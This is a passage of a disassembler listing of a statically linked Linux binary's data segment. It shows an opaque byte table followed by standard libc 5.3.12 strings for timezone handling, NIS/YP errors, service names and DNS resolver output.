0D4h ; db 93h ; db 58h ; X db 0B9h ; db 2Bh ; + db 31h ; 1 db 0ABh ; db 22h ; " db 23h ; # db 2Bh ; + db 1Fh ; db 25h ; % db 3Fh ; ? db 0Bh ; db 44h ; D db 0DEh ; db 7Eh ; ~ db 62h ; b db 0BFh ; db 89h ; db 0C7h ; db 0DAh ; db 72h ; r db 95h ; db 0B8h ; db 8 ; db 0B6h ; db 2Ah ; * db 7Eh ; ~ db 78h ; x db 78h ; x db 0F0h ; db 0B3h ; db 0DEh ; db 86h ; db 0ABh ; db 7Ah ; z db 0EEh ; db 6Fh ; o db 0F4h ; db 73h ; s db 93h ; db 0BBh ; db 7Bh ; { db 0F5h ; db 0ECh ; db 27h ; ' db 7Eh ; ~ db 0B5h ; db 0D8h ; db 0F7h ; db 9Fh ; db 6Ah ; j db 0A2h ; db 0FCh ; db 0D2h ; db 0E8h ; db 4 ; db 3Dh ; = db 0CBh ; db 13h ; db 0DFh ; db 0C9h ; db 6Ah ; j db 82h ; db 72h ; r db 31h ; 1 db 7Ch ; | db 8Dh ; db 9Eh ; db 0CDh ; db 0E0h ; db 0D8h ; db 0FCh ; db 0A8h ; db 97h ; db 94h ; db 0C3h ; db 0B2h ; db 0D9h ; db 41h ; A db 76h ; v db 30h ; 0 db 0C1h ; db 39h ; 9 db 0C9h ; db 1Ch ; db 0CFh ; db 0C4h ; db 8 ; db 26h ; & db 0BFh ; db 0C7h ; db 0D1h ; db 0B6h ; db 7Eh ; ~ db 6Ah ; j db 32h ; 2 db 3Dh ; = db 0E6h ; db 19h ; db 0AFh ; db 0EEh ; db 5Fh ; _ db 0E2h ; db 13h ; db 8Eh ; db 2Bh ; + db 30h ; 0 db 63h ; c db 0EEh ; db 97h ; db 6Dh ; m db 0FEh ; db 2Dh ; - db 58h ; X db 1Dh ; db 97h ; db 25h ; % db 0C4h ; db 3Ch ; < db 1Dh ; db 0E4h ; db 7Ch ; | db 62h ; b db 80h ; db 0Ah ; db 9Ah ; db 0B5h ; db 8Dh ; db 0ABh ; db 0C8h ; db 37h ; 7 db 0EAh ; db 9Eh ; db 77h ; w db 0FBh ; db 0Ah ; db 0E9h ; db 0CFh ; db 19h ; db 0CAh ; db 90h ; db 2Ch ; , db 35h ; 5 db 0E3h ; db 9Eh ; db 50h ; P db 0C8h ; db 13h ; db 36h ; 6 db 82h ; db 0D6h ; db 78h ; x db 0FEh ; db 50h ; P db 6Eh ; n db 8Fh ; db 78h ; x db 4 ; db 9 ; db 6 ; db 5Bh ; [ db 0A4h ; db 0D1h ; db 1Bh ; db 0B7h ; db 34h ; 4 db 0B5h ; db 0ECh ; db 3Fh ; ? db 0Ch ; db 45h ; E db 2Ch ; , db 0B3h ; db 57h ; W db 38h ; 8 db 0C3h ; db 20h ; db 0DAh ; db 0CFh ; db 0E9h ; db 0A6h ; db 0CEh ; db 0F4h ; db 39h ; 9 db 2 ; db 87h ; db 71h ; q db 49h ; I db 48h ; H db 95h ; db 0DBh ; db 9Ah ; db 0A1h ; db 8Ah ; db 0EDh ; db 92h ; db 0B4h ; db 0A8h ; db 0A6h ; db 0ACh ; db 95h ; db 0D9h ; db 6Ch ; l db 0CDh ; db 4Dh ; M db 50h ; P db 23h ; # db 1Bh ; db 0CFh ; db 2Ah ; * db 0B1h ; db 0E8h ; db 0FBh ; db 8Ch ; db 77h ; w db 67h ; g db 1Ah ; db 0CCh ; db 3Ah ; : db 0EBh ; db 38h ; 8 db 83h ; db 0A3h ; db 2Dh ; - db 0C3h ; db 0B1h ; db 6Ah ; j db 12h ; db 0FBh ; db 0A8h ; db 40h ; @ db 3Fh ; ? db 0A0h ; db 46h ; F db 0F5h ; db 5Bh ; [ db 0EDh ; db 24h ; $ db 47h ; G db 0CEh ; db 0E9h ; db 0FDh ; db 74h ; t db 4Ah ; J db 4Ch ; L db 0D8h ; db 30h ; 0 db 0A1h ; db 73h ; s db 2Dh ; - db 0Eh ; db 96h ; db 0D9h ; db 0C1h ; db 0D6h ; db 0EBh ; db 0A2h ; db 0EBh ; db 6Fh ; o db 0ABh ; db 94h ; db 7Ch ; | db 3Bh ; ; db 23h ; # db 6Fh ; o db 80h ; db 60h ; ` db 12h ; db 49h ; I db 73h ; s db 9Ah ; db 7Bh ; { db 8Eh ; db 91h ; db 90h ; db 8Ch ; db 4Bh ; K db 99h ; db 0F9h ; db 98h ; db 0D2h ; db 0B5h ; db 36h ; 6 db 0E8h ; db 35h ; 5 db 0FFh ; db 0DEh ; db 6Dh ; m db 0A9h ; db 31h ; 1 db 9Bh ; db 11h ; db 96h ; db 0BCh ; db 0D9h ; db 0Dh ; db 6Bh ; k db 8Dh ; db 3Fh ; ? db 0CCh ; db 0C6h ; db 0FBh ; db 66h ; f db 25h ; % db 28h ; ( db 0E7h ; db 82h ; db 0B8h ; db 72h ; r db 3Bh ; ; db 9Fh ; db 76h ; v db 0D6h ; db 3Dh ; = db 34h ; 4 db 74h ; t db 0A6h ; db 9Bh ; db 50h ; P db 0FCh ; db 0 ; db 89h ; db 77h ; w db 0BFh ; db 0DCh ; db 3Fh ; ? db 6Ah ; j db 26h ; & db 0D6h ; db 0FDh ; db 41h ; A db 96h ; db 0AEh ; db 1Bh ; db 54h ; T db 89h ; db 4Eh ; N db 7 ; db 34h ; 4 db 95h ; db 11h ; db 3 ; db 0Dh ; db 40h ; @ db 53h ; S db 5Ah ; Z db 0D7h ; db 0Dh ; db 8Eh ; db 45h ; E db 33h ; 3 db 0B5h ; db 0E5h ; db 0ADh ; db 19h ; db 8Fh ; db 10h ; db 0BCh ; db 89h ; db 8Bh ; db 10h ; db 54h ; T db 0C9h ; db 0A4h ; db 41h ; A db 63h ; c db 2Bh ; + db 3Bh ; ; db 0E0h ; db 7Fh ;  db 3Dh ; = db 7Bh ; { db 43h ; C db 8Eh ; db 0EDh ; db 0ACh ; db 97h ; db 70h ; p db 66h ; f db 0D6h ; db 0CBh ; db 0C2h ; db 8 ; db 55h ; U db 2Ch ; , db 69h ; i db 0BCh ; db 0Eh ; db 65h ; e db 0F0h ; db 2Eh ; . db 4Fh ; O db 5Ch ; \ db 0BFh ; db 0F6h ; db 4Fh ; O db 90h ; db 0DFh ; db 0A2h ; db 85h ; db 99h ; db 9Eh ; db 0DDh ; db 0ADh ; db 9Fh ; db 39h ; 9 db 0D2h ; db 0D8h ; db 5Eh ; ^ db 32h ; 2 db 58h ; X db 58h ; X db 25h ; % db 0B9h ; db 1Ch ; db 0E5h ; db 0E3h ; db 0D4h ; db 0F1h ; db 0F4h ; db 0Fh ; db 9Ah ; db 2Dh ; - db 0C0h ; db 56h ; V db 4 ; db 0F8h ; db 4Eh ; N db 8Ch ; db 13h ; db 8Ah ; db 0A0h ; db 0C1h ; db 0C8h ; db 1 ; db 0FDh ; db 13h ; db 71h ; q db 76h ; v db 0D2h ; db 0E6h ; db 0F4h ; db 34h ; 4 db 0C2h ; db 0A7h ; db 0CCh ; db 76h ; v db 1 ; db 9Dh ; db 0F2h ; db 3Dh ; = db 0D7h ; db 0D0h ; db 89h ; db 0FAh ; db 8Bh ; db 4Dh ; M db 0CDh ; db 10h ; db 4Fh ; O db 54h ; T db 0B2h ; db 0E0h ; db 17h ; db 2Bh ; + db 7Dh ; } db 5Ch ; \ db 0Ah ; db 0B7h ; db 49h ; I db 0FEh ; db 86h ; db 0FDh ; db 41h ; A db 3Fh ; ? db 37h ; 7 db 0DFh ; db 0BBh ; db 95h ; db 44h ; D db 21h ; ! db 0FDh ; db 57h ; W db 0E8h ; db 84h ; db 0D5h ; db 13h ; db 0D3h ; db 0 ; db 0BEh ; db 0FCh ; db 96h ; db 4 ; db 44h ; D db 47h ; G db 0BAh ; db 0A4h ; db 82h ; db 0C9h ; db 0CAh ; db 0E8h ; db 6Eh ; n db 9Eh ; db 0C2h ; db 0AEh ; db 38h ; 8 db 70h ; p db 0ECh ; db 87h ; db 19h ; db 0A5h ; db 0 ; db 70h ; p db 3Bh ; ; db 33h ; 3 db 0EEh ; db 0AEh ; db 2Ch ; , db 0E4h ; db 66h ; f db 0FFh ; db 25h ; % db 6Bh ; k db 0FDh ; db 8Ah ; db 3Bh ; ; db 0F6h ; db 0B4h ; db 3 ; db 0DCh ; db 91h ; db 79h ; y db 0BDh ; db 0C7h ; db 0D9h ; db 0B8h ; db 5Ah ; Z db 4Eh ; N db 68h ; h db 0D4h ; db 2Eh ; . db 6Ch ; l db 1Ah ; db 74h ; t db 48h ; H db 0Dh ; db 94h ; db 6 ; db 0AFh ; db 49h ; I db 63h ; c db 0DCh ; db 2Fh ; / db 0CDh ; db 7Eh ; ~ db 3Dh ; = db 0B0h ; db 6Fh ; o db 99h ; db 74h ; t db 0E9h ; db 0F9h ; db 67h ; g db 78h ; x db 0ACh ; db 21h ; ! db 87h ; db 0ECh ; db 52h ; R db 4Ah ; J db 9Dh ; db 0DDh ; db 0BCh ; db 0 ; db 2Dh ; - db 0DDh ; db 8Eh ; db 6 ; db 0DEh ; db 57h ; W db 35h ; 5 db 0F8h ; db 59h ; Y db 0C7h ; db 41h ; A db 0B9h ; db 0D4h ; db 56h ; V db 39h ; 9 db 0F2h ; db 9 ; db 54h ; T db 0A7h ; db 0A1h ; db 0D8h ; db 3Ch ; < db 12h ; db 0ABh ; db 0Fh ; db 10h ; db 0B6h ; db 0E2h ; db 21h ; ! db 7Bh ; { db 3Eh ; > db 3Bh ; ; db 62h ; b db 8Dh ; db 2Eh ; . db 0A2h ; db 9Dh ; db 95h ; db 92h ; db 77h ; w db 5Fh ; _ db 0A3h ; db 0BCh ; db 0A5h ; db 3 ; db 0Ch ; db 20h ; db 57h ; W db 0B4h ; db 0FCh ; db 35h ; 5 db 0E4h ; db 0C6h ; db 0B6h ; db 1Bh ; db 28h ; ( db 0B9h ; db 4Eh ; N db 0F7h ; db 54h ; T db 0Bh ; db 5Dh ; ] db 3Dh ; = db 21h ; ! db 1Dh ; db 0CCh ; db 87h ; db 6Fh ; o db 4 ; db 64h ; d db 49h ; I db 40h ; @ db 42h ; B db 0AEh ; db 18h ; db 75h ; u db 0B2h ; db 68h ; h db 0D8h ; db 96h ; db 0B4h ; db 0D2h ; db 8Bh ; db 0F4h ; db 63h ; c db 55h ; U db 1Ch ; db 0F5h ; db 0D8h ; db 34h ; 4 db 0C2h ; db 70h ; p db 0E9h ; db 68h ; h db 0F8h ; db 0FFh ; db 1Fh ; db 15h ; db 0F9h ; db 0A2h ; db 0E4h ; db 7Bh ; { db 0AEh ; db 0EEh ; db 33h ; 3 db 11h ; db 27h ; ' db 22h ; " db 0D9h ; db 0Fh ; db 0BBh ; db 32h ; 2 db 49h ; I db 25h ; % db 25h ; % db 0C0h ; db 9Fh ; db 0Ah ; db 0A6h ; db 64h ; d db 0CDh ; db 4Bh ; K db 10h ; db 45h ; E db 1 ; db 29h ; ) db 30h ; 0 db 62h ; b db 0 ; db 0 ; db 0 ; off_8068DAC dd offset unk_8067FDC ; DATA XREF: sub_8053310+7D2o db 3 ; db 0 ; db 0 ; db 0 ; db 4 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; off_8068DBC dd offset unk_8067FE8 ; DATA XREF: sub_8053310+FC9o db 3 ; db 0 ; db 0 ; db 0 ; db 7 ; db 0 ; db 0 ; db 0 ; db 4 ; db 0 ; db 0 ; db 0 ; db 0F4h ; db 7Fh ;  db 6 ; db 8 ; db 3 ; db 0 ; db 0 ; db 0 ; db 0Eh ; db 0 ; db 0 ; db 0 ; db 0Ah ; db 0 ; db 0 ; db 0 ; db 0 ; db 80h ; db 6 ; db 8 ; db 3 ; db 0 ; db 0 ; db 0 ; db 1Bh ; db 0 ; db 0 ; db 0 ; db 18h ; db 0 ; db 0 ; db 0 ; db 0Ch ; db 80h ; db 6 ; db 8 ; db 4 ; db 0 ; db 0 ; db 0 ; db 36h ; 6 db 0 ; db 0 ; db 0 ; db 32h ; 2 db 0 ; db 0 ; db 0 ; db 1Ch ; db 80h ; db 6 ; db 8 ; db 6 ; db 0 ; db 0 ; db 0 ; db 6Bh ; k db 0 ; db 0 ; db 0 ; db 67h ; g db 0 ; db 0 ; db 0 ; db 34h ; 4 db 80h ; db 6 ; db 8 ; db 9 ; db 0 ; db 0 ; db 0 ; db 0D5h ; db 0 ; db 0 ; db 0 ; db 0D2h ; db 0 ; db 0 ; db 0 ; db 58h ; X db 80h ; db 6 ; db 8 ; db 10h ; db 0 ; db 0 ; db 0 ; db 0AAh ; db 1 ; db 0 ; db 0 ; db 0A6h ; db 1 ; db 0 ; db 0 ; db 98h ; db 80h ; db 6 ; db 8 ; db 1Dh ; db 0 ; db 0 ; db 0 ; db 53h ; S db 3 ; db 0 ; db 0 ; db 50h ; P db 3 ; db 0 ; db 0 ; db 0Ch ; db 81h ; db 6 ; db 8 ; db 38h ; 8 db 0 ; db 0 ; db 0 ; db 0A5h ; db 6 ; db 0 ; db 0 ; db 0A2h ; db 6 ; db 0 ; db 0 ; db 0ECh ; db 81h ; db 6 ; db 8 ; db 6Dh ; m db 0 ; db 0 ; db 0 ; db 4Ah ; J db 0Dh ; db 0 ; db 0 ; db 47h ; G db 0Dh ; db 0 ; db 0 ; db 0A0h ; db 83h ; db 6 ; db 8 ; db 0D7h ; db 0 ; db 0 ; db 0 ; db 94h ; db 1Ah ; db 0 ; db 0 ; db 90h ; db 1Ah ; db 0 ; db 0 ; db 0FCh ; db 86h ; db 6 ; db 8 ; db 0ACh ; db 1 ; db 0 ; db 0 ; db 27h ; ' db 35h ; 5 db 0 ; db 0 ; db 24h ; $ db 35h ; 5 db 0 ; db 0 ; a@TheLinuxCLibr db '@(#) The Linux C library 5.3.12',0 ; DATA XREF: sub_8053310+403o ; sub_8053310+C14o ... dd offset a@TheLinuxCLibr ; "@(#) The Linux C library 5.3.12" unk_8068EA0 db 47h ; G ; DATA XREF: sub_805AF2C+8o ; sub_805AF2C+1Co ... db 4Dh ; M db 54h ; T db 0 ; unk_8068EA4 db 20h ; ; DATA XREF: sub_805A11C+6o ; sub_805A11C+10o db 20h ; db 20h ; db 0 ; aLocaltime db 'localtime',0 ; DATA XREF: sub_805A254+12o aUsrLibZoneinfo db '/usr/lib/zoneinfo',0 ; DATA XREF: sub_805A254+37o asc_8068EC4 db '/',0 ; DATA XREF: sub_805A254+7Fo ; sub_805A7E4+29Er db 8Dh ; db 36h ; 6 unk_8068EC8 db 1Fh ; ; DATA XREF: sub_805A7E4+100r ; sub_805A7E4+121r ... db 0 ; db 0 ; db 0 ; unk_8068ECC db 1Ch ; ; DATA XREF: sub_805A7E4+179r db 0 ; db 0 ; db 0 ; unk_8068ED0 db 1Fh ; ; DATA XREF: sub_805A7E4+192r db 0 ; db 0 ; db 0 ; unk_8068ED4 db 1Eh ; ; DATA XREF: sub_805A7E4+1ABr db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Dh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; dword_8068F28 dd 16Dh ; DATA XREF: sub_805AAC0+242r ; sub_805B1C4+25Fr ... db 6Eh ; n db 1 ; db 0 ; db 0 ; aPosixrules db 'posixrules',0 ; DATA XREF: sub_805AAC0+76o aTz db 'TZ',0 ; DATA XREF: sub_805AF5C+4o unk_8068F3E db 53h ; S ; DATA XREF: sub_805B4E0+34o db 75h ; u db 6Eh ; n db 4Dh ; M db 6Fh ; o db 6Eh ; n db 54h ; T db 75h ; u db 65h ; e db 57h ; W db 65h ; e db 64h ; d db 54h ; T db 68h ; h db 75h ; u db 46h ; F db 72h ; r db 69h ; i db 53h ; S db 61h ; a db 74h ; t aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec%.3s %.3s%3d %02.2d:%02.' ; DATA XREF: sub_805B4E0+28o db '2d:%02.2d %d',0Ah,0 aMaxSystemBytes db 'max system bytes = %10u',0Ah,0 ; DATA XREF: malloc_stats+Eo aSystemBytes10u db 'system bytes = %10u',0Ah,0 ; DATA XREF: malloc_stats+29o aInUseBytes10u db 'in use bytes = %10u',0Ah,0 ; DATA XREF: malloc_stats+44o aMaxMmapRegions db 'max mmap regions = %10u',0Ah,0 ; DATA XREF: malloc_stats+5Co align 4 aYplib_cV2_6199 db 'yplib.c,v 2.6 1994/05/27 14:34:43 swen Exp',0 ; DATA XREF: .data:08078F90o db 90h ; dword_8069030 dd 0Ah ; DATA XREF: sub_805CE84+256r ; sub_805CE84+393r ... dword_8069034 dd 5 ; DATA XREF: sub_805D3A8+18Cr ; sub_805D638+104r ... dword_8069038 dd 5 ; DATA XREF: sub_805CCB0+12Ar aVarYpBinding db '/var/yp/binding',0 ; DATA XREF: sub_805CE84+125o aSS_D db '%s/%s.%d',0 ; DATA XREF: sub_805CE84+12Ao aYpbindproc_dom db 'YPBINDPROC_DOMAIN: Internal error',0Ah,0 ; DATA XREF: sub_805CE84+2ECo aYpbindproc_d_0 db 'YPBINDPROC_DOMAIN: No bound server for domain %s',0Ah,0 ; DATA XREF: sub_805CE84+2F8o aYpbindproc_d_1 db 'YPBINDPROC_DOMAIN: Resource allocation failure',0Ah,0 ; DATA XREF: sub_805CE84+30Co aYpbindproc_d_2 db 'YPBINDPROC_DOMAIN: Unknown error',0Ah,0 ; DATA XREF: sub_805CE84+314o aFcntlF_setfd db 'fcntl: F_SETFD',0 ; DATA XREF: sub_805CE84+434o aYp_matchClnt_c db 'yp_match: clnt_call',0 ; DATA XREF: sub_805D3A8+15Co aYp_firstClnt_c db 'yp_first: clnt_call',0 ; DATA XREF: sub_805D638+D4o aYp_nextClnt_ca db 'yp_next: clnt_call',0 ; DATA XREF: sub_805D814+F4o aClnttcp_create db 'clnttcp_create failed',0Ah,0 ; DATA XREF: .text:0805DAC1o aYp_orderClnt_c db 'yp_order: clnt_call',0 ; DATA XREF: .text:0805DC24o aYp_masterClnt_ db 'yp_master: clnt_call',0 ; DATA XREF: .text:0805DD1Ao aYp_maplistClnt db 'yp_maplist: clnt_call',0 ; DATA XREF: .text:0805DE50o aSuccess db 'Success',0 ; DATA XREF: yperr_string+5Co aRequestArgumen db 'Request arguments bad',0 ; DATA XREF: yperr_string+68o aRpcFailure db 'RPC failure',0 ; DATA XREF: yperr_string+74o aCanTBindToServ db 'Can',27h,'t bind to server which serves this domain',0 ; DATA XREF: yperr_string+80o aNoSuchMapInSer db 'No such map in server',27h,'s domain',0 ; DATA XREF: yperr_string+8Co aNoSuchKeyInMap db 'No such key in map',0 ; DATA XREF: yperr_string+98o aYpServerError db 'YP server error',0 ; DATA XREF: yperr_string+A4o aLocalResourceA db 'Local resource allocation failure',0 ; DATA XREF: yperr_string+B0o aNoMoreRecordsI db 'No more records in map database',0 ; DATA XREF: yperr_string+BCo aCanTCommunicat db 'Can',27h,'t communicate with portmapper',0 ; DATA XREF: yperr_string+C8o aCanTCommunic_0 db 'Can',27h,'t communicate with ypbind',0 ; DATA XREF: yperr_string+D4o aCanTCommunic_1 db 'Can',27h,'t communicate with ypserv',0 ; DATA XREF: yperr_string+E0o aLocalDomainNam db 'Local domain name not set',0 ; DATA XREF: yperr_string+ECo aServerDataBase db 'Server data base is bad',0 ; DATA XREF: yperr_string+F8o aYpServerVersio db 'YP server version mismatch - server can',27h,'t supply servi' ; DATA XREF: yperr_string+104o db 'ce.',0 aAccessViolatio db 'Access violation',0 ; DATA XREF: yperr_string+110o aDatabaseIsBusy db 'Database is busy',0 ; DATA XREF: yperr_string+11Co aYpUnknownError db 'YP unknown error %d',0Ah,0 ; DATA XREF: yperr_string+129o aNone db '(none)',0 ; DATA XREF: .text:0805E0D2o aC_1 db 'C',0 ; DATA XREF: catopen+7Eo aNlspath db 'NLSPATH',0 ; DATA XREF: catopen+88o aEtcLocaleLN_ca db '/etc/locale/%L/%N.cat:/usr/lib/locale/%L/%N.cat:/usr/lib/loc' ; DATA XREF: catopen+9Bo db 'ale/%N/%L:/usr/share/locale/%L/%N.cat:/usr/local/share/local' db 'e/%L/%N.cat',0 asc_806940E db ':',0 ; DATA XREF: catopen+129o aNazgul db '*nazgul*',0 ; DATA XREF: sub_805E640+98o aMessageCatalog db 'Message Catalog System',0 ; DATA XREF: sub_805E640+C1o ; sub_805E640+EAo ... aSCorruptFile_ db '%s: corrupt file.',0Ah,0 ; DATA XREF: sub_805E640+1BDo aSSIsVersionDWe db '%s: %s is version %d, we need %d.',0Ah,0 ; DATA XREF: sub_805E640+C6o aSSHasDSets db '%s: %s has %d sets!',0Ah,0 ; DATA XREF: sub_805E640+EFo aSNoMoreMemory_ db '%s: no more memory.',0Ah,0 ; DATA XREF: sub_805E640+134o unk_8069490 db 0 ; ; DATA XREF: libc_nls_init+Co aLibc db 'libc',0 ; DATA XREF: libc_nls_init+1Ao aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: inet_ntoa+17o aRje db 'rje',0 ; DATA XREF: sub_805E9B8+2B4o aEcho db 'echo',0 ; DATA XREF: sub_805E9B8+2C0o aDiscard db 'discard',0 ; DATA XREF: sub_805E9B8+2CCo aSystat db 'systat',0 ; DATA XREF: sub_805E9B8+2D8o aDaytime db 'daytime',0 ; DATA XREF: sub_805E9B8+2E4o aNetstat db 'netstat',0 ; DATA XREF: sub_805E9B8+2F0o aQotd db 'qotd',0 ; DATA XREF: sub_805E9B8+2FCo aChargen db 'chargen',0 ; DATA XREF: sub_805E9B8+308o aFtpData db 'ftp-data',0 ; DATA XREF: sub_805E9B8+314o aFtp db 'ftp',0 ; DATA XREF: sub_805E9B8+320o aTelnet db 'telnet',0 ; DATA XREF: sub_805E9B8+32Co aSmtp db 'smtp',0 ; DATA XREF: sub_805E9B8+338o aTime db 'time',0 ; DATA XREF: sub_805E9B8+344o aRlp db 'rlp',0 ; DATA XREF: sub_805E9B8+350o aName db 'name',0 ; DATA XREF: sub_805E9B8+35Co aWhois db 'whois',0 ; DATA XREF: sub_805E9B8+368o aDomain_0 db 'domain',0 ; DATA XREF: sub_805E9B8+374o aApts db 'apts',0 ; DATA XREF: sub_805E9B8+380o aApfs db 'apfs',0 ; DATA XREF: sub_805E9B8+38Co aBootps db 'bootps',0 ; DATA XREF: sub_805E9B8+398o aBootpc db 'bootpc',0 ; DATA XREF: sub_805E9B8+3A4o aTftp db 'tftp',0 ; DATA XREF: sub_805E9B8+3B0o aFinger db 'finger',0 ; DATA XREF: sub_805E9B8+3BCo aLink db 'link',0 ; DATA XREF: sub_805E9B8+3C8o aSupdup db 'supdup',0 ; DATA XREF: sub_805E9B8+3D4o aNewacct db 'newacct',0 ; DATA XREF: sub_805E9B8+3E0o aHostnames db 'hostnames',0 ; DATA XREF: sub_805E9B8+3ECo aIsoTsap db 'iso-tsap',0 ; DATA XREF: sub_805E9B8+3F8o aX400 db 'x400',0 ; DATA XREF: sub_805E9B8+404o aX400Snd db 'x400-snd',0 ; DATA XREF: sub_805E9B8+410o aCsnetNs db 'csnet-ns',0 ; DATA XREF: sub_805E9B8+41Co aPop2 db 'pop-2',0 ; DATA XREF: sub_805E9B8+428o aSunrpc db 'sunrpc',0 ; DATA XREF: sub_805E9B8+434o aAuth db 'auth',0 ; DATA XREF: sub_805E9B8+440o aSftp db 'sftp',0 ; DATA XREF: sub_805E9B8+44Co aUucpPath db 'uucp-path',0 ; DATA XREF: sub_805E9B8+458o aNntp db 'nntp',0 ; DATA XREF: sub_805E9B8+464o aErpc db 'erpc',0 ; DATA XREF: sub_805E9B8+470o aNtp db 'ntp',0 ; DATA XREF: sub_805E9B8+47Co aStatsrv db 'statsrv',0 ; DATA XREF: sub_805E9B8+488o aProfile db 'profile',0 ; DATA XREF: sub_805E9B8+494o aNews db 'NeWS',0 ; DATA XREF: sub_805E9B8+4A0o aSnmp db 'snmp',0 ; DATA XREF: sub_805E9B8+4ACo aSnmpTrap db 'snmp-trap',0 ; DATA XREF: sub_805E9B8+4B8o aPrintSrv db 'print-srv',0 ; DATA XREF: sub_805E9B8+4C4o aD_0 db '%d',0 ; DATA XREF: sub_805E9B8+4D1o ; sub_805EEA4+F1o ... aIcmp db 'icmp',0 ; DATA XREF: sub_805EEA4+60o aIgmp db 'igmp',0 ; DATA XREF: sub_805EEA4+6Co aGgp db 'ggp',0 ; DATA XREF: sub_805EEA4+78o aSt db 'st',0 ; DATA XREF: sub_805EEA4+84o aTcp db 'tcp',0 ; DATA XREF: sub_805EEA4+90o aUcl db 'ucl',0 ; DATA XREF: sub_805EEA4+9Co aEgp db 'egp',0 ; DATA XREF: sub_805EEA4+A8o aIgp db 'igp',0 ; DATA XREF: sub_805EEA4+B4o aNvpIi db 'nvp-II',0 ; DATA XREF: sub_805EEA4+C0o aPup db 'pup',0 ; DATA XREF: sub_805EEA4+CCo aChaos db 'chaos',0 ; DATA XREF: sub_805EEA4+D8o aUdp db 'udp',0 ; DATA XREF: sub_805EEA4+E4o aResOptions db ';; res options:',0 ; DATA XREF: __fp_resstat+Co aS_0 db ' %s',0 ; DATA XREF: __fp_resstat+34o aHeaderOpcodeSS db ';; ->>HEADER<<- opcode: %s, status: %s, id: %d',0 ; DATA XREF: sub_805F1DC+8Ao aFlags db '; flags:',0 ; DATA XREF: sub_805F1DC+FFo aQr db ' qr',0 ; DATA XREF: sub_805F1DC+119o aAa db ' aa',0 ; DATA XREF: sub_805F1DC+133o aTc db ' tc',0 ; DATA XREF: sub_805F1DC+14Do aRd db ' rd',0 ; DATA XREF: sub_805F1DC+167o aRa db ' ra',0 ; DATA XREF: sub_805F1DC+181o aQuesD db '; Ques: %d',0 ; DATA XREF: sub_805F1DC+1B7o aAnsD db ', Ans: %d',0 ; DATA XREF: sub_805F1DC+1D7o aAuthD db ', Auth: %d',0 ; DATA XREF: sub_805F1DC+1F7o aAdditD db ', Addit: %d',0 ; DATA XREF: sub_805F1DC+217o aQuestions db ';; QUESTIONS:',0Ah,0 ; DATA XREF: sub_805F1DC+27Eo asc_806969E db ';;',9,0 ; DATA XREF: sub_805F1DC+2A6o aTypeS db ', type = %s',0 ; DATA XREF: sub_805F1DC+34Ao aClassS db ', class = %s',0Ah,0 ; DATA XREF: sub_805F1DC+38Bo aAnswers db ';; ANSWERS:',0Ah,0 ; DATA XREF: sub_805F1DC+3E0o aAuthorityRecor db ';; AUTHORITY RECORDS:',0Ah,0 ; DATA XREF: sub_805F1DC+412o aAdditionalReco db ';; ADDITIONAL RECORDS:',0Ah,0 ; DATA XREF: sub_805F1DC+444o a___truncated db 0Ah ; DATA XREF: sub_805F1DC+474o db ';; ...truncated',0Ah,0 a___malformed db 0Ah ; DATA XREF: sub_805F1DC+47Co db ';; ...malformed',0Ah,0 aLu db 9,'%lu',0 ; DATA XREF: sub_805F7E4+9Eo aS_1 db 9,'%s',0 ; DATA XREF: sub_805F7E4+C5o ; sub_805F7E4+DDo ... aSProtoDPortD db 9,'%s',9,'; proto %d, port %d',0 ; DATA XREF: sub_805F7E4+2FFo a_S db 9,'%.*s',0 ; DATA XREF: sub_805F7E4+34Ao ; sub_805F7E4+369o aWarningOsTypeM db 0Ah ; DATA XREF: sub_805F7E4+38Ao db ';; *** Warning *** OS-type missing',0 asc_8069767 db ' (',0Ah,0 ; DATA XREF: sub_805F7E4+412o aLuSerial db 9,9,9,'%lu',9,'; serial',0Ah,0 ; DATA XREF: sub_805F7E4+428o aLuRefreshS db 9,9,9,'%lu',9,'; refresh (%s)',0Ah,0 ; DATA XREF: sub_805F7E4+446o aLuRetryS db 9,9,9,'%lu',9,'; retry (%s)',0Ah,0 ; DATA XREF: sub_805F7E4+467o aLuExpireS db 9,9,9,'%lu',9,'; expire (%s)',0Ah,0 ; DATA XREF: sub_805F7E4+485o aLuMinimumS db 9,9,9,'%lu )',9,'; minimum (%s)',0 ; DATA XREF: sub_805F7E4+4A6o aD_1 db 9,'%d ',0 ; DATA XREF: sub_805F7E4+4C8o ; sub_805F7E4+4F8o asc_80697DB db 9,'"',0 ; DATA XREF: sub_805F7E4+531o aU db 9,'%u',0 ; DATA XREF: sub_805F7E4+6C5o aSS db 9,'%s %s ( ',0 ; DATA XREF: sub_805F7E4+70Co asc_80697EC db 0Ah ; DATA XREF: sub_805F7E4+73Do db 9,9,9,0 a?D? db 9,'?%d?',0 ; DATA XREF: sub_805F7E4+7C4o aPacketSizeErro db ';; packet size error (found %d, dlen was %d)',0Ah,0 ; DATA XREF: sub_805F7E4+804o aA db 'A',0 ; DATA XREF: __p_type+418o aNs db 'NS',0 ; DATA XREF: __p_type+424o aCname db 'CNAME',0 ; DATA XREF: __p_type+430o aSoa db 'SOA',0 ; DATA XREF: __p_type+43Co aMb db 'MB',0 ; DATA XREF: __p_type+448o aMg db 'MG',0 ; DATA XREF: __p_type+454o aMr db 'MR',0 ; DATA XREF: __p_type+460o aNull_0 db 'NULL',0 ; DATA XREF: __p_type+46Co aWks db 'WKS',0 ; DATA XREF: __p_type+478o aPtr db 